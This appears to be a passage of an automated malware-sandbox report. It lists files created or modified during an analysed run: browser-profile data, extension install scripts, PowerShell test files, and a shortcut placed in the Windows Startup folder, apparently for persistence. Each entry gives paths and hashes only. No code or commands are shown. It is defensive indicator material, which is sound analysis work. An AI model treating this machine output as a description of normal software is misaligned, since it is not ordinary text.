T11803CF31E86869339DE792487646BB637EB86273C8C54784DACD0B0D029369F370BC67
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 39KB
SHA256 f121659500f70c0d2f7f0bdfafdcdf1471f7fc202668586f9230c74b86625178
MD5 294f5dbe9d3ae93e61325c6fb8c73521
SHA1 0bfc18658d9836988bb9c226c0ca7791a2ef8302
SHA512 bcfc12fa6d10ccf84bee23803878ed3c982d6c969fb6835a6f255b853ed1d0d81324201b670dd9ba26f6e3d21c1db997071abfafa0a15ca2b875c1b26bd7d9b1
SSDEEP 768:bFO23twgR3nAtfZOkfbfI662zvShCQRT0uTHT8BuJ:E23+f7fbfb62zvSn0cHT8BU
TLSH
T1C8038D72D860EA77ADE693C8B7497A03AEE45263C5CD99C4DACD5E0D00C36EE170BC25
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 39KB
SHA256 cbd5ef0930662a0d7f67d149580b2afea018790e8954ed85d1f772d58af98c33
MD5 3a8d1b2b87b4a224cb083c8d879c964b
SHA1 d151b5d0ab113d31ed3bc44486d80fa900b9a90f
SHA512 80b928072e036e2bc0d330f848e1d1c0c777ee67154ace6e65980fcaba50f2198491dfee5548735737b8ee7e767467940c0e43ce1f28be0ab57f04df92342d8b
SSDEEP 768:Yrv+4UNbd43JPc+wfZOkfbfI66gvShCQsT2bwWV:YbsbO3/wf7fbfb6gvSo0wO
TLSH
T15903CF71E86869339EE3924876467B53BEB8A263C8C54784DACD0B0D018769F371FC67
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

95fd9d48e4fc245a3f3a99a3a16ecd1355050ba3f4afc555f19a97c7f9b49677

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\component_crx_cache\95fd9d48e4fc245a3f3a99a3a16ecd1355050ba3f4afc555f19a97c7f9b49677
Size 1KB
SHA256 95fd9d48e4fc245a3f3a99a3a16ecd1355050ba3f4afc555f19a97c7f9b49677
MD5 89fb6ce8c3a916d3d5a46bb06d99b190
SHA1 38a1828a642f128fcc644190dff9ba10a869db8f
SHA512 e5f2c9a4f07d5d683687da44711af5b102b478cb76d547b74672656a5283b9c8b4564ca8472255a803e22bf3bb00ff2b66b4bb0f2e8da1909d4082cb7ceeca9d
TLSH
T12A21D85F9758EC47E049CFB03CAF0713FDB0D975042901166E2B6070ADD657C1D58308
MD5 SHA1 SHA512 TLSH

Submit Download

metadata.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\component_crx_cache\metadata.json
Size 132B
SHA256 f4aa1676b1cc0e8c932821d57f7e6ec93246f48d7b840aca2d58ef9fac0ecd03
MD5 f5a3b29f9a977e23d6ca4eb728238f9f
SHA1 d2c5576fff1189eb66493b5b677d79a8ecead68d
SHA512 6f692909efad02642f6c3a4b7cd10b21760c6fbfd3bae39d3b8a77b22460fcd5f6b0ab6e262b007e533c406a981968b3e0894697ca50be7f10bf557f1c1972f3
TLSH
T128C02BD0883D5142CD620D5AC04301F420005C1C641C0A7804C814C0401142F328042E
MD5 SHA1 SHA512 TLSH

Submit Download

287800a0-34f5-44a0-bd81-836022638b20.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\extensions_crx_cache\287800a0-34f5-44a0-bd81-836022638b20.tmp
Size 13B
SHA256 2771d13c637c267132afff9db67537bef95708534b79ae8d954254c4e64e4e0f
MD5 2aa9e263ee3796d9ce358460a2451b4c
SHA1 7a55d937c0cd1f7543a12be730e4a78d0a14a545
SHA512 4909e73ffd1a777a9f102a8831f6ae5a9091084a2755707363251f39164bb65e22c318972ea59e7155976c6a626691dfa94539ee752f58e31aa16f4de5cdbccf
MD5 SHA1 SHA512

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 4aafe533d43fa82a504f0b1c739a5b062a69339087db865d7833b0472502827f
MD5 b953c78e1658af39c5c3e8db6ef956ac
SHA1 33cd7b2a87152f3850bb30ee5155a6962dd1eac9
SHA512 31e29d3d533078dd5dfcabe4359e616c6c47a4573e4dac1b607381dc7090589a5c6ad837dece0a5cdf5bd56f6958679e224ec2295359b28a268bcc8e060821a0
TLSH
T1AC115733B3CC8624C89A413650CEAC1036B587DB519EDE6BBB84D154B43F599DE61260
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 d28ef187840dcd1fe0a8a757ef9cd326023bec38b39ef1338f91d508d55dcf28
MD5 acbc65123954839a819fa2495d239bf7
SHA1 063cff64444a6e3b4be1445b4cecb477e4d6ae47
SHA512 af07d3f6dcf1779bcc864aabe9e08563b20b8df8238df7bb08a5fe3b4e40d10f2e2a4442a042fe5d7a320e3b8195799ecc885549faa8babb5909eb32271e7b91
TLSH
T170216833B3DD8615CC9A413A10CDAC1036B6C7DB40DECFAB7B84E655A43F699CE61160
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 64B
SHA256 a7de5177c68a64bd48b36d49e2853799f4ebcfa8e4761f7cc472f333dc5f65cf
MD5 446dd1cf97eaba21cf14d03aebc79f27
SHA1 36e4cc7367e0c7b40f4a8ace272941ea46373799
SHA512 a6d754709f30b122112ae30e5ab22486393c5021d33da4d1304c061863d2e1e79e8aeb029cae61261bb77d0e7becd53a7b0106d6ea4368b4c302464e3d941cf7
MD5 SHA1 SHA512

Submit Download

12605

Path C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\dzn6qwxz.default-release\cache2\doomed\12605
Size 14KB
SHA256 f59b7cf16d4bdddf02b97afc89e70487902f780e1692031ac8ada9ed2ca870cd
MD5 b6c572be1b16d8b019dbf0e5ae061eeb
SHA1 b094269ab2c0d65e9873fb24df9668af363a81e7
SHA512 7662353f70efb76e0b64547de13b68f18c72d144b1918051c34c8974240f8ad4d45a0404c5c9f8da53ac2992b032eafa4fa16a23cf0ee271941e18e1fd714554
SSDEEP 384:s/4F9kfKeusmFrL3siTssXnGzzM36yct36yQ87NQ:sE9mvurQi7XG46Px6P87O
TLSH
T1B362B03B8C951139D9A094F3827FD5D77E746BD386EEBC9B35449B0241E836A96230CC
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

25ABFFBD3350464574206F51A623A118CF97575F

Path C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\dzn6qwxz.default-release\cache2\entries\25ABFFBD3350464574206F51A623A118CF97575F
Size 15KB
SHA256 2d2ca2e79bf517218fec11649a64fe9105fce7e7f74932ab0bf23432ff396f86
MD5 18cb30a38d47631f1e7819f8794a7d40
SHA1 2c5b63d0d60a51d49d075d9ec76d0fc8871ac1b8
SHA512 bc9fc9fc7172222a0dc92377cef090d7e31a9b4b7e0aa22b5a03901274e87a5037038c8a6fce8a7a53a1c1f915e90a8a382f77b22fb7c5428060902af111a721
SSDEEP 384:nuNGvYv8gV5JD4EZ3tsWwmBsu36yct36yQ87NCv8t:nuNGAkgDJDd3b/su6Px6P87R
TLSH
T13B62C1356E1522255EB07EF3D0FF46C5AD18BEC7AFD598A73248470246985C8E61740D
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

86DDBDE5E1EAFC4C588EE71FB531985C95CCC542

Path C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\dzn6qwxz.default-release\cache2\entries\86DDBDE5E1EAFC4C588EE71FB531985C95CCC542
Size 16KB
SHA256 61dcb5e918b739c6dd8d6f38c6cc3cf402651bffa23b7681bf24daca2f59572c
MD5 79b12997154c388c121d380e8f2fd0b7
SHA1 1341033578b15b54f8f3421684d7931e78811854
SHA512 40f63fd7f78ec1d2cc86b86954ca3137fde03e4ece93b8fef9c5bac0a15a7db379a88ac5c75c84accb7f7ce1a732d579c5298ab27d1c6595f4aa1c94c73177dc
SSDEEP 384:HXkRyiO024YeDL84KKDL849B7SOEAd9KVRaAcP+AWRMAz:3mZYeDL8lKDL8CB7S/AmVAf+hRM2
TLSH
T151728E3D5F003CAC25A7C0F8C5E982A94D18B7ABDFE6C06D21583D0DCA98969B5F548F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

CF3E0C8EA4FD8972AC5B6B89280120CF6A4F7FD4

Path C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\dzn6qwxz.default-release\cache2\entries\CF3E0C8EA4FD8972AC5B6B89280120CF6A4F7FD4
Size 163KB
SHA256 fadb0e1b0697efdb632fa0271f50d8f001eee1167f7d9204a128c5b7906f5289
MD5 729b2363c5c63ce5355ffef9b7784e65
SHA1 abc4b6e0abfefb66fa1d28cc36b358a579e2eabb
SHA512 f9eda20e6bc9adef1ebd5e213d02a34b2a129808aa95189b4d94aee8d715190b67d1ff62dd262558844a955ba2083c664b69ee03aa5cd6555cae87758b78595f
SSDEEP 3072:LaDzyHsXyel82BuCxVdNpXH1yxCO44jni1vRL:La3tielfc+7yxCkOpL
TLSH
T1FAF3E826EE918B13C91503B544A317323F31E04567E6E71B6F8F7127AC2B3EA4D8299D
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

webext.sc.lz4

Path C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\dzn6qwxz.default-release\startupCache\webext.sc.lz4
Size 105KB
SHA256 9866e7e9df40a94330e06bbe83f54e028064f469478b479fe80cb7bb648dec31
MD5 8683be68dc903a363dfe559a8a4a37e7
SHA1 c890206b11bb0f9c8bce5373e1acfd3145577a77
SHA512 f6fbcf299c1b7eb7f8310ae63893d9c1f18e7c3265b266b22ce3ce7dba81d33d56c1dd6e606ab4e7cc590bec3105fb07208716fdbade2125f8d341a942b2cf76
SSDEEP 1536:XTrli1ifD/qYbwdVaXgCHviUMEGECdKIbQOYKg5SUKJKdm+Y0FjmngqYYc3tVbQ3:X3l1bw+JHmEVOYKGYHgicYIY3MU
TLSH
T14FB3AFF6DFA28D6959FFD42C6A92843EFD276404B3A3300DC863635462C6B787B74648
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

webext.sc.lz4

Path C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\dzn6qwxz.default-release\startupCache\webext.sc.lz4
Size 104KB
SHA256 83a7f17d70c00a808a150621b7bdd5a2eff10771aee1bf7250cd3fe00fe47438
MD5 0cb59766f14b1cdf3a039b5101f4d443
SHA1 6fac2b65dcd44e880fdc1c015287791be5fb36df
SHA512 2adac066ea88e9e3ee66090207e6da46950028a9863ef4d0b4584b70689a785b3e21f23c3c85e793b169690eb15eda13eeb391d323297ccf2862966eab854336
SSDEEP 1536:jTrli1ifD/qYbw/arsjezpE4SMKXIKuOYUq5SUmJKd1oa0FjmngqYYc3tVbQ6uIy:j3l1bwa2UEOOYUGFHgicYIY3Mk
TLSH
T11DA3AFF6DBA28D6999FFD42C5AD2843EFD276404B3A3300DC963631462C6B787B74648
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

__PSScriptPolicyTest_an2afehz.saf.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_an2afehz.saf.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

messages.json

Path C:\Users\Admin\AppData\Local\Temp\scoped_dir1444_355733656\CRX_INSTALL\_locales\en\messages.json
Size 450B
SHA256 c0945dd5fdecab40c45361bec068d1996e6ae01196dce524266d740808f753fe
MD5 dbedf86fa9afb3a23dbb126674f166d2
SHA1 5628affbcf6f897b9d7fd9c17deb9aa75036f1cc
SHA512 931d7ba6da84d4bb073815540f35126f2f035a71bfe460f3ccaed25ad7c1b1792ab36cd7207b99fddf5eaf8872250b54a8958cf5827608f0640e8aafe11e0071
TLSH
T1D3F055CB9000FC5E538BC00EB10072282BA603E01AD1726724EC1C0E67DFDAEB143F9A
MD5 SHA1 SHA512 TLSH

Submit Download

messages.json

Path C:\Users\Admin\AppData\Local\Temp\scoped_dir1444_355733656\CRX_INSTALL\_locales\en\messages.json
Size 593B
SHA256 92f1246c21dd5fd7266ebfd65798c61e403d01a816cc3cf780db5c8aa2e3d9c9
MD5 91f5bc87fd478a007ec68c4e8adf11ac
SHA1 d07dd49e4ef3b36dad7d038b7e999ae850c5bef6
SHA512 fdc2a29b04e67ddbbd8fb6e8d2443e46badcb2b2fb3a850bbd6198cdccc32ee0bd8a9769d929feefe84d1015145e6664ab5fea114df5a864cf963bf98a65ffd9
TLSH
T109F09C8CD050E86F02B2411AB1647314FB51037A0751A59F393CDC0D9FB6DA751C6F4D
MD5 SHA1 SHA512 TLSH

Submit Download

content_new.js

Path C:\Users\Admin\AppData\Local\Temp\scoped_dir5268_1043711901\CRX_INSTALL\content_new.js
Size 10KB
SHA256 d4aa4602a1590a4b8a1bce8b8d670264c9fb532adc97a72bc10c43343650385a
MD5 3de1e7d989c232fc1b58f4e32de15d64
SHA1 42b152ea7e7f31a964914f344543b8bf14b5f558
SHA512 177e5bdf3a1149b0229b6297baf7b122602f7bd753f96aa41ccf2d15b2bcf6af368a39bb20336ccce121645ec097f6bedb94666c74acb6174eb728fbfc43bc2a
SSDEEP 192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3EbmE1F4fn:+ThBVq3npozftROQIyVfjRZGB365Ey9+
TLSH
T1DB22B68DA5A8ED7C1AC0C952E50EA62E5D342531E6E7A30320874ED8015CFB9D519FFD
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

tmpaddon

Path C:\Users\Admin\AppData\Local\Temp\tmpaddon
Size 11KB
SHA256 ddf3ba4e25a622276755133e0cce5605b83719c7cab3546e09acbfed00d6a986
MD5 25e8156b7f7ca8dad999ee2b93a32b71
SHA1 db587e9e9559b433cee57435cb97a83963659430
SHA512 1211b2fa997ba13ff926aec58b6b35a81d7fe108b0caa8f4d6369d0a37f8481373b78a4b201651243adde9e2b2699ce929482a46226ff6299b0a0e40fe2ddc56
SSDEEP 192:96jbMOTaRNUB3K7L7KqRUGcW9KK+DOO4L5h3tCw0RZvjUFV3bXFwo10+H99uhNA:kjbMegNp7L7KCopFDUtCZvjU73zqFiu0
TLSH
T12A32AFAB081F8454EFA710F628B670CFA1BA95B4067C2B1E9B1819855809BD0C5D2EDD
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

tmpaddon

Path C:\Users\Admin\AppData\Local\Temp\tmpaddon
Size 502KB
SHA256 87862f4bc8559fbe578389a9501dc01c4c585edb4bb03b238493327296d60171
MD5 e690f995973164fe425f76589b1be2d9
SHA1 e947c4dad203aab37a003194dddc7980c74fa712
SHA512 77991110c1d195616e936d27151d02e4d957be6c20a4f3b3511567868b5ddffc6abbfdc668d17672f5d681f12b20237c7905f9b0daaa6d71dcdac4b38f2448b2
SSDEEP 12288:OACaeJXLVL+PLlSuxcewdMCx1uSremBgBohJmiixAzph3yZeErb:OltBL+PLQFZBgBo2xAzpsrb
TLSH
T199B423CCB77B7628D37A9C7BC257D4F853E9CA2B56423CE80C4E018D6540AB136963E6
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

VortexVr.lnk

Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\VortexVr.lnk
Size 1KB
SHA256 97fdda223ef5db6e85002f20b8ce907ad615ffc393af877b2e57148e0aaf3997
MD5 9cb867bfffe5571582c894192ed36164
SHA1 bb6a01e5c27e7c1940f1afe8785f97340cbc37e8
SHA512 17693ee13045bf33fc32d85094035638a2d0677c935251d5a6cedab08ae4525d36205a2d77b49f552408d24020e905ae8915714c01227c03c4f483fab2278a94
TLSH
T1EF1100186D832F2BC29AE53B94C72A3A8335B864F367EF0800A0D38E34616117D06F0F
MD5 SHA1 SHA512 TLSH

Submit Download

compatibility.ini

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\dzn6qwxz.default-release\compatibility.ini
Size 198B
SHA256 252b7fff962848c61092e82a3d87adca163849767713a93ab533bb397f1f53bb
MD5 ce9ef13caa8a74c25157b184aa038475
SHA1 db03a9935d8bb3ce6b120aca98feade536805160
SHA512 0f6f5053e78167ef5cc5fa70ed3a87dd116df0671a590299277a197341bed983e3d77e37ad2c33cd4afe880fab9ed1c7f7502210040617a01f97a81c1e1d4f29
TLSH
T1C1D022818BC7848C9D4AA8E4537C38086BF2EE0E0604492A32827F0B4164F09023C3F9
MD5 SHA1 SHA512 TLSH

Submit Download

data.safe.tmp

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\dzn6qwxz.default-release\datareporting\glean\db\data.safe.tmp
Size 7KB
SHA256 181b33ffbcc7cd5c9884514b3433eaec4b72e8543ce0052af8811c416d74c215
MD5 67c285d8289dd49d2536136ed8c51448
SHA1 cc305981815b8931649c917ff42befea580e2792
SHA512 a47e85cef7de2072255c9b655023201525926563230c283a2279897920a1a26b547f2cc4f48e0b686e1d68eddf4f919f382afde164fb1fb09609d28f4e5e83d1
SSDEEP 192:w71d66JoztdzgCl6mc0dGOv5zbo7EjyyjulMI:ud66Joz/zgC1j/boAjyyjm
TLSH
T1A8E111A9F629863FC414027BCCA51B414F39385ADC8E3F1975AC641C2D572DE3A8D17E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

data.safe.tmp

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\dzn6qwxz.default-release\datareporting\glean\db\data.safe.tmp
Size 7KB
SHA256 f88317901331d9a387747844baccb89230acb3a3fefa4a71cf24c23290057107
MD5 f1841ff9bdf6adfdc22c5ab0f3be51be
SHA1 82ceb188a4d3ad6e28c630fc6f86fdc7ba920f39
SHA512 1584dba8cc56da39f00b22b1f1379c9c30c738558ea3983b3704e665b5f091caad675694c51bfd7b9f21fd44eb29d6f47e0233859924a9a0af94bfb4628a4b4f
SSDEEP 192:hOv5zbo7EjyyjulMm71d66JoztdzgCl6mc0dz:+boAjyyj6d66Joz/zgC1jd
TLSH
T143E111A9F629863FC414027BCCA51B414F39385ADC8E3F1975AC641C2D572DE3A8D17E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

data.safe.tmp

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\dzn6qwxz.default-release\datareporting\glean\db\data.safe.tmp
Size 7KB
SHA256 d1472b97e27ae1c926d77c324270079cc8539b22cd9ea65af93a5e3703b2ec8f
MD5 ecf46d7f39c16267f01fa3290482f301
SHA1 f73427bea6f0459af9405f84d44b598995f3b809
SHA512 47d9019cf6de5f8c9feb2105e8dfe99d7d2b4055ed5e0b6eae30659c3290b116118568103ce05a694ac776d765c1fa9ea8a5d1f5e6b81f96eb71bf9fff38b8c3
SSDEEP 192:r71d66JoztdzgCl6mc0dlOv5zbo7EjyyjulMI:td66Joz/zgC1jYboAjyyjm
TLSH
T13CE111A9F629863FC414027BCCA51B414F39385ADC8E3F1975AC641C2D572DE3A8D17E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

data.safe.tmp

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\dzn6qwxz.default-release\datareporting\glean\db\data.safe.tmp
Size 67KB
SHA256 1020e1c1882cb4221cf13f1277bc4218e1276346811fd5cdf589877a5ad8d612
MD5 90a26b4853ce850f1eab4f2c069f6731
SHA1 543cdea177a1c442544077fcaa9b93deaff35aba
SHA512 a702dcce43c7e0f8cc3a8ed0e75aa6c981ef623e40749147ea62f6d6335f2ec8c760f6bd619eded85c75a24b349084372b62a08398b2b84917879cffb6e5d6cc
SSDEEP 1536:bImLWTeOQGfK9iUCyzr4q3HntH8bRIs4jooZ5+BErn3g:kmLWfT63H6RxBoUErg
TLSH
T1E0630144EB1A553FD82802BA9CD21B103F79F8898A1A2B5B375C55387C873DD3D8E16E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

data.safe.tmp

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\dzn6qwxz.default-release\datareporting\glean\db\data.safe.tmp
Size 31KB
SHA256 ad63a8c3c4b368cddb9a641da88c982c46e355dcfbef067bed05a0a14b3463e2
MD5 1fbdf1c8e033a12be5b115744b013587
SHA1 0ff05516923100a1cde16fb3518dbfa07cd0df0d
SHA512 cc5942e3344f7f7a85bc9d2d6e45384675ce99c88e825014925b94bd99dd4797e316679ed1eb46fdeb183722b74159271dacc12c40fe3bbb35a3fde15308c30e
SSDEEP 768:7uY10Im0iWaqIteeGcm+uXeBzKqcBGMbYbd4pd:cIm0iWaHt0eFSj
TLSH
T16DE20140FB6E553FC41452BBDCA51B002F79B88958192F5B3A4C64686C8B2DC3E9E07F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

data.safe.tmp

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\dzn6qwxz.default-release\datareporting\glean\db\data.safe.tmp
Size 31KB
SHA256 d6ef85dadd8fde7b741d5e4d408b2a3015e9182b2bce90bac6dffd28574a7348
MD5 7facf4f336b7005766aec8fe81ed0a42
SHA1 5c4d677a200975de1d55ec175e73dc71b37d2c81
SHA512 2420828d26b375904f9044af5e9d200494f3f060b37542ea43db0a95e5755d729628899285c8816813171180b12ce8675409ad12e35f677682aeaa7eaf2298a2
SSDEEP 768:7umIm0iWaqIteeGcm+uXeBzKqcBGMbYbd4pA1/:FIm0iWaHt0eFSw
TLSH
T149E20140FB6E553FC41452BBDCA51B002F79B88958192F5B3A4C64686C8B2DC3E9E07F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

data.safe.tmp

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\dzn6qwxz.default-release\datareporting\glean\db\data.safe.tmp
Size 6KB
SHA256 dac2178fb6fc09e30f8e79341ada1d8890ddb116810f895cda2bb022a0068366
MD5 c9a171c43b25ea423348a61475339d25
SHA1 622c2dd54246751a1fa9b28e7c35b9fdff2b67a7
SHA512 9b4ba202f511787b4026c0ba5800585e5df4025ef9993aa7878e575f6f488611d86e734089c809bef0c0e7c93e8f1749589e04dad5c8e585b542f0aa95a76b3b
SSDEEP 192:cOv5zbo8bjyyjulMm71d66JoztdzgCl6mc0d:fbo8bjyyj6d66Joz/zgC1j
TLSH
T10BD11F65F628463FC444423BCCA51B010F39395BDC8E3F1A31AD65082D9B2DE7A8D17E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

data.safe.tmp

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\dzn6qwxz.default-release\datareporting\glean\db\data.safe.tmp
Size 7KB
SHA256 ce6a845abb0b0d18e8c095f7e67c771df0189d01947304cebcf82d643997710e
MD5 ed7f9a84d888d1f88b4a860b54984911
SHA1 42322b2cb9a2b8e1820ed3e28bbd3e579c03cdac
SHA512 2c98bf3cf224d4da585c021c87741394aaeadb10d24153927a2d95d986eeedacf84240f5176e4bc7468635dec49b951306bbe88e3837b4be1c61ae286c30625e
SSDEEP 192:w71d66JoztdzgCl6mc0dlOv5zbo7EjyyjulM:ud66Joz/zgC1jYboAjyyj
TLSH
T162E111A9F629863FC414027BCCA51B414F39385ADC8E3F1975AC641C2D572DE3A8D17E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

events

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\dzn6qwxz.default-release\datareporting\glean\events\events
Size 1KB
SHA256 5eeaa64f46bbb59ec3cdaaa50bcbd3a9dc41de66f352b209dc16c8e9e46ff161
MD5 f73915e29828c975a362b579052b8634
SHA1 bdd11cfc65cf8cfcd25a2f5b2512b6a5052931eb
SHA512 f65c48be1c5004ce67daf47537f8bc69a2fbd177c0d9bcc720cd073d7db129c757984fea663ba8e492cd293308bae9d0dafe4110fbb18f7fc24c9574394e956c
TLSH
T16511579C3AFA4D2A98C7E2ECB451128E97154B4704472D438E12FE8CCE81ADD327A43D
MD5 SHA1 SHA512 TLSH

Submit Download

0199452d-cf59-446e-8b36-19a2046aaeee

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\dzn6qwxz.default-release\datareporting\glean\pending_pings\0199452d-cf59-446e-8b36-19a2046aaeee
Size 235B
SHA256 17570f0a7dfae6da03f2f9c8e764b451e9753adc351aad2e869e364902c04c9b
MD5 da263b78064af8219f4e9aa5d9a4b1de
SHA1 b7bd7b7d1033b7d4c3c11325f76df1aadca7504b
SHA512 9b43b0d06f9710bde0f8042c64482208abe35821c68f761a9b7cdc1114720f6ffc72cfca8d5f9c6cfe612504f16e9cebee8511eb105282736c47e1554ccb3905
TLSH
T162D097843498232D08220F0BB0A029C230848C332470EC109D9040788EF8FC8516280B
MD5 SHA1 SHA512 TLSH

Submit Download

2574cc58-da3f-4b27-a389-fc221d484607

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\dzn6qwxz.default-release\datareporting\glean\pending_pings\2574cc58-da3f-4b27-a389-fc221d484607
Size 2KB
SHA256 ed16cd60c43c6c33824873993063e033a92ca4ba67191d3a3ac86dad4ff2e36a
MD5 bf206e891477480ba9c413b2df9c4b86
SHA1 4a0c17d7486323c983f82b1a05d997cd8be2b823
SHA512 c97ca203fccd7dbbf6411214e7cacbe1dd5b17ba1917effa8a72c3df588ff0826251122e303d181b530d549cc1ad8c7ae249f29d803277e2de7d54e389182560
TLSH
T12541315C35745D778CDAE24D9093338EE3B4991340861C432D90EF0CCEE639E236A527
MD5 SHA1 SHA512 TLSH

Submit Download

705de6c4-51a4-497a-93f2-b1be9798e85e

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\dzn6qwxz.default-release\datareporting\glean\pending_pings\705de6c4-51a4-497a-93f2-b1be9798e85e
Size 883B
SHA256 4986cf7aad617a28c9c2955adf58efc9ce5ce946f6efaaa7cb1babf22149ad03
MD5 4c332ccf12b16369540c0198c7904a63
SHA1 4e3a8a669447cfe6981e5e26215c36ff3bea4c63
SHA512 72207443a4bd1e9ea5d913d163f90c9e6e2223e08070798786578d1ce4c7fd6efd280e7d9562f6ccddcb8de30598088f638135281e3c54b25de07525ec2e7e22
TLSH
T1A111048296357AB1CC7CC24B84953B168BE8782380C655183DB05E084EFF61F979A647
MD5 SHA1 SHA512 TLSH

Submit Download

788e56e4-d3f1-4aa2-b93f-b54ea6c81442

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\dzn6qwxz.default-release\datareporting\glean\pending_pings\788e56e4-d3f1-4aa2-b93f-b54ea6c81442
Size 931B
SHA256 f64a28f8fa3d85479b71d1b9bdf14b8f0a819e0f5f58777de2ab960c9470f171
MD5 a6d8bbceb7622335ddfe6e5934b58af0
SHA1 dff3be43e4195e4bdf610222bcfbaaf7c63cf355
SHA512 ddacd1137bc9d6839254ef0d92831e45048c12a16e0cd3ddeddea6c4feb253d4cc18700a24e6c5ee9cca33baf9eade3fd9582626dcd55a5380c42b6a2aa34aa2
TLSH
T1471110829E247AB2CC78C29FA4E437539FE4642380C65D187DB05F184EFF51E9756A07
MD5 SHA1 SHA512 TLSH

Submit Download

b51645c3-cff5-44de-9b4f-a1940be58221

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\dzn6qwxz.default-release\datareporting\glean\pending_pings\b51645c3-cff5-44de-9b4f-a1940be58221
Size 15KB
SHA256 f5ec018893eb7255214cd2f2b3c729e6d98b942798db36b499f2bf806d43d85e
MD5 f04c7c4c6f9fbae75a5c8b457cd3d01b
SHA1 44f3d3ed0508fa611575022ea9ffff9394b3d14e
SHA512 2a3216549757a1652c1ae82e00f7a94aa9ade6fd528dbe361dd0b4807bfd2aba668e8a3c871b9c8e934f0187d47345e1781dcd32be42676ad3e3e63a8c58a11f
SSDEEP 192:A0lnF4Rl3R7yfzb5AmzHs/J3zJ7Ic35w+bTBiJcW8DnZnziDvIw1r48GBQdHTQ:pnF2l3R7yf/GmzCb5T2472Vc
TLSH
T12E62D84A68205A7E8650E368E4EC7FC3E2F618CF8C019FCE9BE47D0859EA09D5127D47
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

d0c81bc9-130e-4fc0-8f55-2018137b49c7

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\dzn6qwxz.default-release\datareporting\glean\pending_pings\d0c81bc9-130e-4fc0-8f55-2018137b49c7
Size 280B
SHA256 23b0c8935c73e8015a262310f19563efaa6a67cef0d288ba9d3c6259d6e26ad8
MD5 82d64883a1b9c5e23b45316e5422eb0a
SHA1 a6e5ce9e4b62698ee655d52d6f1c5ae691349b0b
SHA512 228277ede9a48587c4c0975a19bfeccb459407c113cd48f1d09044ba8e12f21e5e87dc39e48942f2515494e6ad0e55d343f4764c7c6e9c42c81b2b377f38ea9c
TLSH
T1A8D02BD1789C275D0C784F1BB1B029D234A94C7370F05C45D9D50A389DFEDCA4155C4B
MD5 SHA1 SHA512 TLSH

Submit Download

extensions.json

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\dzn6qwxz.default-release\extensions.json
Size 16KB
